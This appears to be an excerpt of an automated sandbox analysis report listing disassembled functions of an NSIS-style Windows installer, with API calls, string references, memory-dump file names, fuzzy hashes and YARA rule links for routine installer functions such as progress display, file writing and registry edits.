
Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
MulDiv.KERNEL32(?,00000064,?), ref: 00402CC8
wsprintfW.USER32 ref: 00402CD8
SetWindowTextW.USER32(?,?), ref: 00402CE8
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CFA

Strings

verifying installer: %d%%, xrefs: 00402CD2

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction ID: 00b8461607dcb0b3980451466b6828af2013657049940e2aaaac4a967361d4db
Opcode Fuzzy Hash: 4a7d612a3107a8faa67c2a3ba57bc865a53d9af2ae63cae8aa971940a760aa5f
Instruction Fuzzy Hash: F5012170604208BBEF249F60DD49BAE3B69FB00305F008039FA06A52D1DBB99954DB59

Function 0040600B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,004031D7,00436800,74DF3420,004033B7), ref: 0040606E
CharNextW.USER32(?,?,?,00000000), ref: 0040607D
CharNextW.USER32(?,00434000,00436800,00436800,00000000,004031D7,00436800,74DF3420,004033B7), ref: 00406082
CharPrevW.USER32(?,?,00436800,00436800,00000000,004031D7,00436800,74DF3420,004033B7), ref: 00406095

Strings

*?|<>/":, xrefs: 0040605D

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction ID: 5f8db4d4ef1aaeb388f58d13ad2a41ec80f6628d4c19804d17f22981d69c56f6
Opcode Fuzzy Hash: 3b4e1c3ec424bf1de7da59c711653df59d062fb970fe0516104cac3d90234bf4
Instruction Fuzzy Hash: 5311C45684121299DB30BB199C40BB7A2E8EF54790F52803FED8A733C1E77C5C9286BD

Function 004024EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,0040A550,000000FF,00409D50,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(00409D50,?,?,0040A550,000000FF,00409D50,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,00409D50,00000000,?,?,00000000,00000011), ref: 00402568

Strings

8, xrefs: 0040250C

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8
API String ID: 1453599865-4194326291
Opcode ID: e4df8df7c44270ba33fb6fab13b76496744f5428df9d63e4514989387de34881
Instruction ID: 7a030a9c095cf7661290fe091fec1a729e70b9dbbd1292938289fd6a30d2cb41
Opcode Fuzzy Hash: e4df8df7c44270ba33fb6fab13b76496744f5428df9d63e4514989387de34881
Instruction Fuzzy Hash: 18018071A04204FFD700AFA09E89EAF7378AB10319F20453BB202B61D1D6B85D419A2D

Function 00401752 Relevance: 7.6, APIs: 5, Instructions: 145stringtimeCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(00000000,00000000,00409550,00435000,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,00409550,00409550,00000000,00000000,00409550,00435000,?,?,00000031), ref: 004017B8

Part of subcall function 00405D77: lstrcpynW.KERNEL32(?,?,00000400,0040326D,004281A0,NSIS Error), ref: 00405D84

Part of subcall function 00405021: lstrlenW.KERNEL32(00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,?,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 2dfaa2d881fc1c06d5e4e0df6492f18b4b0d9692730c2f93d6ef0e6210451604
Instruction ID: f5340c52137ac8e05323c68babe13c17cc5cde59bf11d192bd930834dcc8acac
Opcode Fuzzy Hash: 2dfaa2d881fc1c06d5e4e0df6492f18b4b0d9692730c2f93d6ef0e6210451604
Instruction Fuzzy Hash: C6419071900908BACF11BBB5CC46DAF7679EF05368F20863BF425B11E1D73C8A419A6E

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402B9B
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402BD7
RegCloseKey.ADVAPI32(?), ref: 00402BE0
RegCloseKey.ADVAPI32(?), ref: 00402C05
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402C23

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: e0d8e9b4b7c3dced49d372e318274e4029313fc8c3479f6e652278d6efa82a2c
Instruction ID: 24cb19e20ea0269922d23406ceb1d71d2baff7de250534ea652b51db9971d4c8
Opcode Fuzzy Hash: e0d8e9b4b7c3dced49d372e318274e4029313fc8c3479f6e652278d6efa82a2c
Instruction Fuzzy Hash: 2B113A71904008FEEF219F90DE89EAE3B79EB54348F104476FA05B10A0D3B59E51EA69

Function 00401CE5 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401CEB
GetClientRect.USER32(00000000,?), ref: 00401CF8
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D19
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D27
DeleteObject.GDI32(00000000), ref: 00401D36

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction ID: 5f088aa0ca27e90fd893fee14e64151101962dab4a112754cbcab5b472a91c15
Opcode Fuzzy Hash: 11a1351ddf50c58e35ddc122bd4c143b08e9209a670521ddf1897a2708112133
Instruction Fuzzy Hash: 53F0E1B2A04104BFDB01DBE4EE88DEEB7BCEB08315B104466F601F5190C674AD018B39

Function 00401D41 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D44
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D51
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D60
ReleaseDC.USER32(?,00000000), ref: 00401D71
CreateFontIndirectW.GDI32(0040BD58), ref: 00401DBC

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 42c6c5e2fb934de57d2e5b0808f6da945959834788a5d09a16a54919abba70a7
Instruction ID: 50cd7c3d9b324c63c10bedbdfe153cfa446442d7209eb1202fb80f546c31283e
Opcode Fuzzy Hash: 42c6c5e2fb934de57d2e5b0808f6da945959834788a5d09a16a54919abba70a7
Instruction Fuzzy Hash: D3016D71944280AFEB116BB0AE0AB9ABF74DF55301F14847AF141B62F2C7791005DBAE

Function 00404805 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422698,00422698,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,0000040F,00000400,00000000), ref: 00404896
wsprintfW.USER32 ref: 0040489F
SetDlgItemTextW.USER32(?,00422698), ref: 004048B2

Strings

%u.%u%s%s, xrefs: 00404880

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a2fadf25a80c14b51bfb926aaeebc4ecf81a38fefb846c632a4bc85b75721053
Instruction ID: 59e17c8afd225f679fed4f3ac3ee25800eeb16d6bc796772b25e59257c8be9d1
Opcode Fuzzy Hash: a2fadf25a80c14b51bfb926aaeebc4ecf81a38fefb846c632a4bc85b75721053
Instruction Fuzzy Hash: FB11E2776002243BDB10666D9C49EEF369DDBC6334F14863BFA29F61D1E978881186E8

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C2A
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C42

Strings

!, xrefs: 00401BFE

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction ID: 32ea72146a28600a98e99adc179119cd295c2a32732311222b232d5c22eb20b7
Opcode Fuzzy Hash: 9509e5e7a0907e764604f6084ff3dd6a46145b46d1e6bef9a99a17c67a449adc
Instruction Fuzzy Hash: 8B217471A44109BEDF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00402331 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(0040A550,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,0040A550,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,0040A550,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 5ece5b1e46cf5f1f204aeaf3e6a23d396b345020fae2ed77ba4f016eeb832ab1
Instruction ID: ff9c26e96d548ba14907c7cf0d775baaea3cd420635c28ab46d49cad89ffe0f3
Opcode Fuzzy Hash: 5ece5b1e46cf5f1f204aeaf3e6a23d396b345020fae2ed77ba4f016eeb832ab1
Instruction Fuzzy Hash: 311181B1A00108BEEB10AFA4DD49EAF777CEB50358F10443AF905B61D0D7B85D409A29

Function 004015B9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 0040586D: CharNextW.USER32(?,?,00424EA0,?,004058E1,00424EA0,00424EA0,00436800,?,74DF3420,0040561F,?,00436800,74DF3420,00434000), ref: 0040587B
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405880
Part of subcall function 0040586D: CharNextW.USER32(00000000), ref: 00405898

CreateDirectoryW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,000000F0), ref: 00401630

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction ID: f9b53a9290970587256920563605d3a8fa34613ebd87cabe797d0c7397107685
Opcode Fuzzy Hash: 53cec99a44b5501f79705a11811158959523dda88924113c706af1bde306e0ba
Instruction Fuzzy Hash: 9711C631904104EBCF206FA0DD449AE76B1EF14369F34493BF881B61E1D63D49419A5D

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405CBE: wsprintfW.USER32 ref: 00405CCB

Memory Dump Source

Source File: 00000004.00000002.2969273046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2969253456.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969292369.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969311384.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2969337991.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_rFa24c148.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction ID: c80361359d7f931d767c6e620dd41e9efa8b0f2766ef6758dcd107922aa8e93c
Opcode Fuzzy Hash: a69f105ff7c1ed7042804ff3785ec88b73d7adcb7f3cde9c988f9f75693ffed6
Instruction Fuzzy Hash: 8E110671A00109AEEB11DFA5C945DEEBBB9EF44344F21407AF901F62A1D7349E50DB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405021: lstrlenW.KERNEL32(00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,00421678,00000000,?,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,?,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

